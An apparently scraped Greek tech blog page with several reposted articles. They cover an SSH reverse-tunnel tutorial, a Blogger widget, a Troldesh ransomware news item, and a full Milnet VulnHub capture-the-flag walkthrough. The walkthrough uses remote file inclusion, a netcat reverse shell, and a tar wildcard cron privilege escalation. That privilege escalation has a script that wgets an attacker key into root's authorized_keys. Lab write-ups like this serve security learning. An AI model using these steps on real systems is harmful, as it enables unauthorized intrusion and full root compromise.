προσβάσιμο από το Internet. Για παράδειγμα, κάποιος server του δικτύου της δουλειάς ή της σχολής. Το στήσιμο ενός reverse SSH tunnel είναι πανεύκολη υπόθεση. Συνεχίζοντας το προηγούμενο σενάριο, αρκεί να ανοίξουμε τη γραμμή εντολών του οικιακού μηχανήματος και να δώσουμε κάτι τέτοιο:


ssh -fNTR 2222:localhost:22 username@some-server.org


Με αυτόν τον τρόπο δημιουργείται ένα αντεστραμμένο τούνελ, που έχει σαν είσοδο τη θύρα 2222 του μηχανήματος some-server.org και σαν έξοδο τη θύρα 22 του τοπικού συστήματος. Όπως είδαμε και νωρίτερα, οι παράμετροι –f, -T και –N εξασφαλίζουν ότι η συγκεκριμένη σύνδεση θα τοποθετηθεί στο background, δεν θα δημιουργήσει τερματικό και δεν θα εκτελέσει εντολές στο απομακρυσμένο μηχάνημα. Η δημιουργία του reverse SSH tunnel εξασφαλίζεται από την παράμετρο –R. Εφόσον ετοιμάσουμε το τούνελ, δεν χρειάζεται να κάνουμε κάτι άλλο. Όταν θελήσουμε να συνδεθούμε στον υπολογιστή του οικιακού δικτύου από κάπου αλλού, αρκεί να συνδεθούμε στο μηχάνημα some-server.org και να δώσουμε κάτι τέτοιο:


ssh localhost -p 2222


Με την παραπάνω γραμμή επιχειρούμε μια σύνδεση SSΗ προς τη θύρα 2222 του τοπικού συστήματος, που στη συγκεκριμένη περίπτωση είναι ο some-server.org. Ωστόσο, εξαιτίας του reverse SSH tunnel που δημιουργήσαμε νωρίτερα, η συγκεκριμένη σύνδεση θα προωθηθεί στη θύρα 22 του μηχανήματος στο σπίτι.








Ελπίζουμε όλες αυτές οι περιγραφές των συνδέσεων, των αντιστρόφων και των ευθειών, να μην σας προκάλεσαν πονοκέφαλο. Όπως και να ‘χει, μην ξεχνάτε ότι ο υπέρτατος κανόνας της μάθησης ισχύει κι εδώ: Για να αφομοιώσετε όσα παρουσιάσαμε, μαζί με τη θεωρητική μελέτη θα χρειαστεί και η πρακτική εξάσκηση. Αν δεν έχετε το απαιτούμενο πλήθος μηχανημάτων, σας προτείνουμε να δημιουργήσετε μερικά εικονικά συστήματα και να αρχίσετε τις δοκιμές από σήμερα. Σε σχετικό άρθρο του επόμενου τεύχους θα παρουσιάσουμε μερικά πιο προχωρημένα κολπάκια και θα πρέπει να είσαστε έτοιμοι. 

via: https://deltahacker.gr
Ιουλίου 24, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Most Commented Posts Widget for Blogger

Written By Greek Port on Παρασκευή, 22 Ιουλίου 2016 | Ιουλίου 22, 2016


Γεια σε όλους τους μπλόγκερ! Εδώ έχω βρει μια εμφάνιση ενός widget για τα σχόλια από τους επισκέπτες του site σας.

Για να το εφαρμόσετε στο blog σας κάνετε αντιγραφή επικόλληση τον παρακάτω κώδικα!




<style>
/* www.foulscode.com */
.commentbubble {
background: #292D30;
width: 49px;
float: left;
margin: 2px 20px 35px 0px;
font-weight: bold;
font-size: 1.3em;
text-align: right;
font-family: georgia,Helvetica;
padding: 0px 0px 5px 0px;
text-align: right;
color: #FFF;
text-shadow: 4px 1px #202022;
position: relative;
top: 5px;
}
.commentbubble:after {
content: ' ';
position: absolute;
width: 0;
height: 0;
right: 0px;
top: 100%;
border-width: 5px 8px;
border-style: solid;
border-color: #292D30 #292D30 rgba(0, 0, 0, 0) rgba(0, 0, 0, 0);
top: 34px;
right: 6px;
}
</style>
<script type="text/javascript">
function getYpipePP(feed) {
document.write('<ul style="list-style:none; ">');
var i;
for (i = 0; i < feed.count ; i++)
{
var href = "'" + feed.value.items[i].link + "'";
var pTitle = feed.value.items[i].title;
var pComment = + feed.value.items[i].commentcount;
var pList = '<li style="clear:both; padding:10px 0px 30px 0px!important;border-bottom: 1px dashed #dedede; line-height:2em; "> <div class="commentbubble">' +pComment + "&#160;&#160;</div>" + "<a href="+ href + '" target="_blank">' + pTitle ;
document.write(pList);
//to remove comment count delete this line
document.write('</a></li>');
}
document.write('</ul>');
}

/* www.foulscode.com */

</script>
<script src="http://pipes.yahoo.com/pipes/pipe.run?
YourBlogUrl=http://www.foulscode.com&ShowHowMany=6&_id=390e906036f48772b2ed4b5d837af4cd
&_callback=getYpipePP
&_render=json"
type="text/javascript"></script>


Αποθήκευση και είναι έτοιμο!





Ιουλίου 22, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Ζούμε σε matrix;... - Μάνος Δανέζης, Στράτος Θεοδοσίου



Είναι πραγματικό το υλικό σύμπαν που αντιλαμβανόμαστε γύρω μας; Mήπως ζούμε σε ένα μάτριξ;
Oι απαντήσεις από τους αστροφυσικούς Μάνο Δανέζη και Στράτο Θεοδοσίου στo 25ο επεισόδιο της σειράς "το Σύμπαν που αγάπησα". Όλα τα βιβλία των καθηγητών θα τα βρείτε στις Εκδόσεις Δίαυλος.

Ιουλίου 22, 2016 | 0 σχόλια | Διαβάστε περισσότερα

«4η Διάσταση και Θεολογία»


...Στον απόηχο της επιτυχημένης Φιλοσοφικής Περιήγησής μας,
«Ας συναντηθούμε...στο Χρόνο -- Σύμπαν-4η Διάσταση-Χρόνος»...
Συνεχίζουμε . .......
Το Διάλογο μαζί Σας
Η Ένωση Ελλήνων Φυσικών
σε συνεργασία
με το Καφέ-Βιβλιοπωλείο Έναστρον
«4η Διάσταση και Θεολογία»

Ομιλητές:

Θεοδοσίου Στράτος, Πρόεδρος της Ε.Ε.Φ.,Αν. Καθηγητής Παν/μίου Αθηνών

Δανέζης Μάνος, Επίκ. Καθηγητής Παν/μιου Αθηνών

Ταμπάκης Νίκος, Διπλωματούχος. Μηχανικός. ΕΜΠ, Δρ. Φιλοσοφίας

Συντονιστής: Φιλντίσης Παναγιώτης, Α' Αντιπρόεδρος της Ε.Ε.Φ.


Ιουλίου 22, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Νέα έκδοση του ransomware Troldesh

Written By Greek Port on Δευτέρα, 18 Ιουλίου 2016 | Ιουλίου 18, 2016

Οι ερευνητές ασφαλείας από το Κέντρο Προστασίας Malware της Microsoft (MMPC) ανακάλυψαν μια νέα έκδοση του ransomware Troldeshή όπως αλλιώς ονομάστηκε Encoder.858 και Shade Ransomware.

Ενώ οι ransomware παραλλαγές εξελίσσονται συνεχώς με μικρές αλλαγές εδώ και εκεί, αυτή η έκδοση του Troldesh έρχεται με εκτεταμένες τροποποιήσεις σε ολόκληρη την λειτουργία της απειλής.



Αυτή η τελευταία έκδοση του Troldesh έκανε επιτέλους το άλμα της προς το Dark Web, χρησιμοποιώντας μια ειδική πύλη πληρωμής όπου οι χρήστες μπορούν να πάνε, να εισάγουν ένα ειδικό αναγνωριστικό από το ransomware σημείωμα , και να λάβουν περαιτέρω οδηγίες για το πώς να πληρώσουν.

Οι προηγούμενες εκδόσεις του Troldesh εμφάνιζαν μόνο μια διεύθυνση ηλεκτρονικού ταχυδρομείου, όπου οι χρήστες έπρεπε να στείλουν μήνυμα για να λάβουν περαιτέρω οδηγίες.

Οι ερευνητές ασφαλείας συχνά καταγγέλλουν αυτές τις διευθύνσεις ηλεκτρονικού ταχυδρομείου στις υπηρεσίες όπου φιλοξενούνται και διαγράφονται.
Οι άλλες αλλαγές που περιλαμβάνονται στο Troldesh είναι η χρήση των δύο δημιουργικών προεκτάσεων που προστίθενται στο τέλος των κρυπτογραφημένων αρχείων: .da_vinci_code και .magic_software_syndicate.

Υπάρχουν επίσης ορισμένα λάθη στο ransomware σημείωμα, αλλά δεν είναι και τόσο σημαντικά. Επιπλέον, το Troldesh κρυπτογραφεί τώρα ακόμη περισσότερες κατηγορίες τύπου αρχείου και μολύνει επίσης στους χρήστες με ένα επιπλέον κακόβουλο λογισμικό που ονομάζεται Mexar. Αυτό το κακόβουλο λογισμικό είναι τελείως καινούργιο και η Microsoft το είδε για πρώτη φορά στις 7 Ιουλίου Ως εκ τούτου, υπάρχουν πολύ λίγες λεπτομέρειες σχετικά με το τι κάνει αυτή η απειλή.

Σύμφωνα με τα στατιστικά στοιχεία που δημοσίευσε η η Microsoft πριν από λίγες μέρες, κατατάσσει το Troldesh ως το δέκατο πιο δραστήριο στην οικογένεια των ransomware τις τελευταίες 30 ημέρες.

via: www.secnews.gr
Ιουλίου 18, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Hell hacking challenge

Written By Greek Port on Δευτέρα, 11 Ιουλίου 2016 | Ιουλίου 11, 2016



One of the latest and more challenging boot2roots released on VulnHub as of late is Hell. This boot2root by Peleus has appeared to cause quite a bit of hair pulling and teeth gnashing whenever it’s mentioned on IRC. I initially started off with his beta version but had to put it away when I got too busy with work. When I was finally ready to try again, the official version had been released, so I downloaded it and started over.





The goal of the challenge is to read /root/flag.txt. I found a way to solve the challenge without getting shell on the target. I think this might be a bug, and at some point I might try to solve it the way it was intended. Still, it’s a solution, so without further ado, here’s the shortcut method of solving Hell.
Enumeration


Using netdiscover, I found the IP address for Hell at 172.16.229.151. An nmap scan on the target revealed quite a few open ports.

Η συνεχεια του αθρόου είναι εδώ ;)  >> ((!))



Ιουλίου 11, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Milnet hacking challenge





It’s been a while since I’ve done one of these. Milnet is the latest VM uploaded toVulnHub, and is a beginner level challenge. Not having anything to do at midnight, I decided to give it a shot, if not to kill some time before crashing. You can grab Milnet here.
Milnet is kind enough to tell us what IP address it’s running on once it boots up. Thank you. In my case, it was 172.16.146.131. As usual, enumeration is key, so I started with a port scan:
# echo 172.16.146.131 > ip
# onetwopunch.sh -t ip -i eth1 -n '-sV -A'
 _ _ _
 ___ _ __ ___ | |___ _____ _ __ _ _ _ __ ___| |__ / \
 / _ \| '_ \ / _ \ | __\ \ /\ / / _ \ | '_ \| | | | '_ \ / __| '_ \ / /
| (_) | | | | __/ ᕦ(ò_óˇ)ᕤ | |_ \ V V / (_) | | |_) | |_| | | | | (__| | | /\_/
 \___/|_| |_|\___| \__| \_/\_/ \___/ | .__/ \__,_|_| |_|\___|_| |_\/
 |_|
 by superkojiman

[+] Protocol : tcp
[+] Interface: eth1
[+] Nmap opts: -sV -A
[+] Targets : ip
[+] Scanning 172.16.146.131 for tcp ports...
[+] Obtaining all open TCP ports using unicornscan...
[+] unicornscan -i eth1 -mT 172.16.146.131:a -l /usr/local/bin/udir/172.16.146.131-tcp.txt
[*] TCP ports for nmap to scan: 22,80,
[+] nmap -e eth1 -sV -A -oX /usr/local/bin/ndir/172.16.146.131-tcp.xml -oG /usr/local/bin/ndir/172.16.146.131-tcp.grep -p 22,80, 172.16.146.131

Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-02 12:31 EDT
Nmap scan report for 172.16.146.131
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9b:b5:21:38:96:7f:85:bd:1b:aa:9a:70:cf:db:cd:36 (RSA)
|_ 256 93:30:be:c2:af:dd:81:a8:25:2b:57:e5:01:49:91:57 (ECDSA)
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:FD:1A:F8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.45 ms 172.16.146.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
[+] Scans completed



Port 80 looked promising, so I fired up Burp Suite and pointed Iceweasel to http://172.16.146.131.
After exploring around for a bit, I examined the captured results from Burp Suite and noticed that a POST request was sent when clicking on the buttons on the left:

POST /content.php HTTP/1.1
Host: 172.16.146.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.146.131/nav.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
route=bomb

It occured to me that the value assigned to route might be a PHP page without the extension. I intercepted the request in Burp Suite, changed it to index, and proved my assumption was correct.
Attempting to include local files like /etc/password didn’t work. So I decided to try a remote file include instead. A simple PHP page hosted on my attacking machine that printed out “Hello” sufficed:
POST /content.php HTTP/1.1 Host: 172.16.146.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://172.16.146.131/nav.php Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 10 route=http://172.16.146.129/test
Sure enough, the contents of my PHP page were executed and displayed:
Time to get a shell! I’m using a PHP reverse shell from Pentest Monkey, which you can also find in a default Kali install. I saved it as shell.php, setup a netcat listener on port 1234, and replayed the captured HTTP request on Burp Suite, making sure to set route to http://172.16.146.129/shell
POST /content.php HTTP/1.1
Host: 172.16.146.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.146.131/nav.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

route=http://172.16.146.129/shell



Forward the request, and I got my shell:
# nc -lvp 445

listening on [any] 445 ...
172.16.146.131: inverse host lookup failed: Unknown host
connect to [172.16.146.129] from (UNKNOWN) [172.16.146.131] 44852
Linux seckenheim.net.mil 4.4.0-22-generic #40-Ubuntu SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
19:25:27 up 1:05, 0 users, load average: 0.07, 0.04, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ok, next step, escalate privil
eges. There’s only one user on the server:
$ ls -l /home/ total 4 drwxr-xr-x 4 langman langman 4096 May 21 22:27 langman $ ls /home/langman/ SDINET $ ls /home/langman/SDINET DCA_Circular.310-P115-1 DefenseCode_Unix_WildCards_Gone_Wild.txt FUN18.TXT compserv.txt fips-index. fips_500_166.txt fips_500_169.txt fips_500_170.txt fips_500_171.txt pentagon.txt sec-8901.txt sec-8902.txt sec-9540.txt sec-9720.txt
Some old school reading right there, except for DefenseCode_Unix_WildCards_Gone_Wild.txt. I remember reading this a while back, and it seemed like it might be a hint on how to progress further.
Anyway, I did more enumeration and found something interesting in /etc/crontab:
$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root /backup/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
A script called backup.sh was being executed as root. The contents of said script:
$ cat /backup/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /backup/backup.tgz *



Oh ho! Looks like that wildcards document was going to come in handy after all. According to the document, we can exploit tar’s wildcard parsing by creating a file called “–checkpoint=1” and “–checkpoint-action=exec=sh win.sh”.
$ echo '' > '--checkpoint=1'
$ echo '' > '--checkpoint-action=exec=sh win.sh'
$ ls -l
total 128
-rw-rw-rw- 1 www-data www-data 1 Jun 2 19:57 --checkpoint-action=exec=sh win.sh
-rw-rw-rw- 1 www-data www-data 1 Jun 2 19:56 --checkpoint=1
-rw-r--r-- 1 root root 73450 Aug 6 2015 bomb.jpg
-rw-r--r-- 1 root root 3901 May 21 18:56 bomb.php
-rw-r--r-- 1 root root 124 May 21 17:50 content.php
-rw-r--r-- 1 root root 145 May 21 17:17 index.php
-rw-r--r-- 1 www-data www-data 20 May 21 15:54 info.php
-rw-r--r-- 1 root root 109 May 21 18:53 main.php
-rw-r--r-- 1 root root 18260 Jan 22 2012 mj.jpg
-rw-r--r-- 1 root root 532 May 21 23:33 nav.php
-rw-r--r-- 1 root root 253 May 22 21:07 props.php
Now I just needed something in win.sh. I decided to just have it download my id_rsa_pub into /root/.ssh/authorized_keys so I could ssh in as root.
$ printf 'mkdir -p /root/.ssh && chmod 700 /root/.ssh && wget http://172.16.146.129/id_rsa.pub -O /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys' > win.sh



Now I just waited for cron to execute backup.sh, which in turn would execute win.sh. I just watched the HTTP requests until I saw my id_rsa.pub get downloaded:
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
172.16.146.131 - - [02/Jun/2016 13:25:27] "GET /shell.php HTTP/1.0" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -



Moment of truth:
# ssh root@172.16.146.131 The authenticity of host '172.16.146.131 (172.16.146.131)' can't be established. ECDSA key fingerprint is SHA256:q26VY0+zPFYF+vxU8EhtjGn/d5BmiUjb/qTeoGAYGlk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.16.146.131' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-22-generic x86_64) * Documentation: https://help.ubuntu.com/ 19 packages can be updated. 0 updates are security updates. Last login: Sun May 22 21:04:14 2016 from 192.168.0.79 root@seckenheim:~# id uid=0(root) gid=0(root) groups=0(root) root@seckenheim:~# ls credits.txt
Oh yeah! Here are the contents of credits.txt:
root@seckenheim:~# cat credits.txt ,----, ,/ .`| ,` .' : ,---, ,---,. ; ; /,--.' | ,' .' | ,---, .'___,/ ,' | | : ,---.' | ,---, ,---.'| | : | : : : | | .' ,-+-. / | | | : ; |.'; ; : | |,--. ,---. : : |-, ,--.'|' | | | | `----' | | | : ' | / \ : | ;/|| | ,"' | ,--.__| | ' : ; | | /' : / / | | : .'| | / | | / ,' | | | ' ' : | | |. ' / | | | |-,| | | | |. ' / | ' : | | | ' | :' ; /| ' : ;/|| | | |/ ' ; |: | ; |.' | : :_:,'' | / | | | \| | |--' | | '/ ' '---' | | ,' | : | | : .'| |/ | : :| `--'' \ \ / | | ,' '---' \ \ / `----' `----' `----' This was milnet for #vulnhub by @teh_warriar I hope you enjoyed this vm! If you liked it drop me a line on twitter or in #vulnhub. I hope you found the clue: /home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt I was sitting on the idea for using this technique for a BOOT2ROOT VM prives for a long time... This VM was inspired by The Cuckoo's Egg. If you have not read it give it a try: http://www.amazon.com/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787/


via: blog.techorganic.com
Ιουλίου 11, 2016 | 0 σχόλια | Διαβάστε περισσότερα
 
berita unik